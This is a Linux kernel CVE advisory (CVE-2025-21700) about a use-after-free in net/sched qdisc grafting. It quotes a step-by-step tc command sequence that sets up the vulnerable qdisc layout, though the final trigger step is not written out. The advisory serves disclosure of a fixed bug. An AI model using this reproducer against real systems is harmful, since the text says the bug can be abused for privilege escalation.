CVE-2025-21700

In the Linux kernel, the following vulnerability has been resolved:<br /> <br /> net: sched: Disallow replacing of child qdisc from one parent to another<br /> <br /> Lion Ackermann was able to create a UAF which can be abused for privilege<br /> escalation with the following script<br /> <br /> Step 1. create root qdisc<br /> tc qdisc add dev lo root handle 1:0 drr<br /> <br /> step2. a class for packet aggregation do demonstrate uaf<br /> tc class add dev lo classid 1:1 drr<br /> <br /> step3. a class for nesting<br /> tc class add dev lo classid 1:2 drr<br /> <br /> step4. a class to graft qdisc to<br /> tc class add dev lo classid 1:3 drr<br /> <br /> step5.<br /> tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024<br /> <br /> step6.<br /> tc qdisc add dev lo parent 1:2 handle 3:0 drr<br /> <br /> step7.<br /> tc class add dev lo classid 3:1 drr<br /> <br /> step 8.<br /> tc qdisc add dev lo parent 3:1 handle 4:0 pfifo<br /> <br /> step 9. Display the class/qdisc layout<br /> <br /> tc class ls dev lo<br /> class drr 1:1 root leaf 2: quantum 64Kb<br /> class drr 1:2 root leaf 3: quantum 64Kb<br /> class drr 3:1 root leaf 4: quantum 64Kb<br /> <br /> tc qdisc ls<br /> qdisc drr 1: dev lo root refcnt 2<br /> qdisc plug 2: dev lo parent 1:1<br /> qdisc pfifo 4: dev lo parent 3:1 limit 1000p<br /> qdisc drr 3: dev lo parent 1:2<br /> <br /> step10. trigger the bug